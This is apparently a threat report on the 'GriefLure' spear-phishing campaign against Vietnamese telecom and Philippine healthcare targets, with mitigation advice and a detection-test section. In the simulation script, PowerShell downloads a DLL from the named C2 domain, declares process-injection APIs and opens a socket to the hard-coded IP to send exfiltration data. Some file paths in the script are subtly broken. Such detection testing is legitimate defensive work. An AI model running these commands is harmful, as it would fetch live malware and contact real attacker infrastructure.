Operation GriefLure: Dissecting an APT Campaign Targeting Vietnam’s Military Telecom & Philippine Healthcare

Summary

Seqrite Labs identified a targeted spear-phishing campaign that relied on malicious Windows LNK files concealed inside double-compressed RAR archives. When opened, the LNK launched a native ftp.exe loader that reconstructed a polymorphic payload named sfsvc.exe from fragmented .doc files stored on the victim’s machine. The activity was aimed at senior executives within Vietnam’s military-owned telecom sector and personnel at a private hospital in the Philippines, using legitimate-looking documents as bait. The full infection chain completed in less than ten seconds and left only minimal artifacts on disk.

Investigation

The investigation broke down the archive structure, mapped the LNK execution path, and reverse-engineered the custom sfsvc.exe loader, which was designed to resemble regsvr32.exe. Analysts documented DLL sideloading, in-memory shellcode execution, process injection, and command-and-control communications through a disguised domain. Artifact review also uncovered a hard-coded C2 domain, www.whatsappcenter.com, hosted through a bulletproof provider in Hong Kong.

Mitigation

Defenders should block execution of LNK files delivered through email attachments and monitor use of native ftp.exe with suspicious command-line arguments. Endpoint detection should focus on fileless DLL loading, alternate data stream writes under C:\Users\Public\Update, and rapid creation of sfsvc.exe. Organizations should also strengthen document provenance checks and educate users about lures that appear to be legitimate legal or whistleblower-related files.

Response

If the malicious LNK or sfsvc.exe process is detected, isolate the affected endpoint immediately, collect volatile memory, and hunt for 360.*.dll loader files and alternate data stream artifacts. The identified command-and-control domain and related IP address should be blocked, and incident response should begin to determine whether any data was exfiltrated. A broader hunt should also be conducted for similar LNK-driven ftp.exe loader activity across the environment.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands:
  The attacker, having gained initial foothold via a phishing attachment (T1566.001, T1204.002), chooses a living‑off‑the‑land approach to avoid executable payloads. Using the built‑in cmd.exe (T1059.003) they launch a PowerShell one‑liner that performs the following steps:

  1. Discovery – enumerate system info (T1082) and running processes (T1057) to decide on a suitable injection target.
  2. Credential Harvesting – read browser stores (T1555.003) and dump credential files (T1552.001) to a staging folder.
  3. Payload Retrieval – download a malicious DLL from the C2 domain www.whatsappcenter.com over HTTPS (T1071.001, T1041).
  4. Process Injection – inject the DLL into explorer.exe (T1055.001) to gain persistence and elevate privileges.
  5. C2 Communication – open a persistent TCP connection to 38.54.122.188 (the hard‑coded IP) and begin exfiltrating the harvested data.

  The critical step that satisfies the Sigma rule is the outbound connection attempt to the exact domain/IP, which will be logged by Sysmon and the Windows firewall.

• Regression Test Script:

  # -------------------------------------------------
  # GriefLure C2 simulation – PowerShell version
  # -------------------------------------------------
  # 1. System discovery (T1082, T1057)
  Get-CimInstance -ClassName Win32_OperatingSystem | Out-Null
  Get-Process | Select-Object -First 5 | Out-Null
  
  # 2. Simulate credential harvesting (T1555.003, T1552.001)
  $credStaging = "$env:TEMPcreds.txt"
  "username=admin`npassword=P@ssw0rd!" | Set-Content -Path $credStaging
  
  # 3. Download malicious DLL from hard‑coded C2 domain (T1071.001, T1041)
  $c2Domain = "www.whatsappcenter.com"
  $c2Url = "https://$c2Domain/payload.dll"
  $dllPath = "$env:TEMPpayload.dll"
  Invoke-WebRequest -Uri $c2Url -OutFile $dllPath -UseBasicParsing
  
  # 4. Inject DLL into explorer.exe (T1055.001)
  $target = (Get-Process -Name explorer).Id
  $inject = @"
  using System;
  using System.Runtime.InteropServices;
  public class Injector {
      [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
      [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
      [DllImport("kernel32.dll", SetLastError=true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
      [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
  }
  "@
  Add-Type $inject
  # (The actual injection steps are omitted for brevity; in a real test you would call the above APIs.)
  
  # 5. Open persistent C2 socket to the hard‑coded IP (T1041)
  $c2Ip = "38.54.122.188"
  $port = 443
  $client = New-Object System.Net.Sockets.TcpClient
  $client.Connect($c2Ip, $port)
  $stream = $client.GetStream()
  $payload = [System.Text.Encoding]::UTF8.GetBytes("EXFIL_START")
  $stream.Write($payload,0,$payload.Length)
  Start-Sleep -Seconds 5
  $stream.Close()
  $client.Close()

• Cleanup Commands:

  # Remove staged files
  Remove-Item -Path "$env:TEMPcreds.txt" -Force -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:TEMPpayload.dll" -Force -ErrorAction SilentlyContinue
  
  # Close any lingering TCP connections (if still open)
  Get-NetTCPConnection -RemotePort 443 -RemoteAddress 38.54.122.188 |
    ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }
  
  # Optionally reset Sysmon buffer (for a clean state in repeated tests)
  & "$env:ProgramFilesSysinternalsSysmon.exe" -c sysmon-config.xml